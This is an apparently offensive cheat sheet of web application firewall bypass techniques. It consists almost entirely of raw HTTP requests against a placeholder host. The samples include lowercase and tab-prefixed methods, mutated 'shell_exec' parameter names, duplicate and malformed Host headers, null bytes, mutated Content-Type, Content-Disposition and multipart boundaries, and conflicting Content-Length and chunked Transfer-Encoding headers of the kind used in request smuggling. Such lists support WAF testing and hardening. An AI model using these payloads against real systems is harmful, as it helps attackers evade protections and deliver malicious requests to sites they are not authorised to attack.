Another way to bypass
Add \r\n before the first line HTTP request
GET /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Writing the method with a lowercase (Apache)
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Tabs before the method (IIS)
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
GET /login?shell_exec HTTP/1.1
GET /login?shell.exec HTTP/1.1
GET /login?shell[exec HTTP/1.1
GET /login?shell%5bexec HTTP/1.1
GET /login?shell%2eexec HTTP/1.1
GET /login?shell%5fexec HTTP/1.1
GET /login?shell%20exec HTTP/1.1
GET /login.php?pam_param=test3
GET /login.php?pam_param=test1&pam[param=test2&pam%5bparam=test3
GET /login.php?hello=world HTTP/1.1
GET /login.php?hello%00another_text=world HTTP/1.1
HTTP Request - absoluteURI
GET http://localhost/login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Double host header
GET /login.php HTTP/1.1
Host: favoritewaf.com
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host with lowercase
GET /login.php HTTP/1.1
host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host without space
GET /login.php HTTP/1.1
Host:favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host with tab
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host with addition symbols
/ : \x00 \x20 \x09 \xad (IIS)
Example:
GET /login.php HTTP/1.1
Host: favoritewaf.com:12345
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
GET /login.php HTTP/1.1
Host: favoritewaf.com ignored.text
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Content-Type with another text
POST /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Content-Type: application/another-text/+++x-www-form-urlencoded
hello=world
HTTP request with incorrect Content-Length (more data than specified)
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Content-Length: 1
AAAAAAAA
Double Content-Type
Content-Type: multipart/form-data; boundary=ZZZ
Content-Type: multipart/form-data; boundary=AAA
Content-Disposition mutation
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=--------1218108630
----------1218108630
Content-Disposition: form-data; name="hello"
world
----------1218108630--
Content-Disposition: form-data; name="hello"
Content-Disposition: form-data; name="hello
Content-Disposition: form-data; name="hello"world"
Content-Disposition: attachment; name="hello"
Content-Type: multipart/form-data; boundary=x
--x
Content-Disposition:
test1;
--x
test2;
--x--
test3;
name="hello"
world
Boundary mutation PHP
Content-Type: multipart/form-data; myfavoriteboundaryis=X; boundary=Hello;
==
Content-Type: multipart/form-data; boundary=X;
Nullbyte
Content-Type: multipart/form-data; boundary=HELLO\x00XXXXXXXXX
==
Content-Type: multipart/form-data; boundary=HELLO
Ignored Content-Length
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
hello=world
==
Content-Length: 22
Transfer-Encoding: chunked
0B
hello=world
0
==
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Transfer-Encoding: chunked
3
hel
3
lo=
3
wor
2
ld
0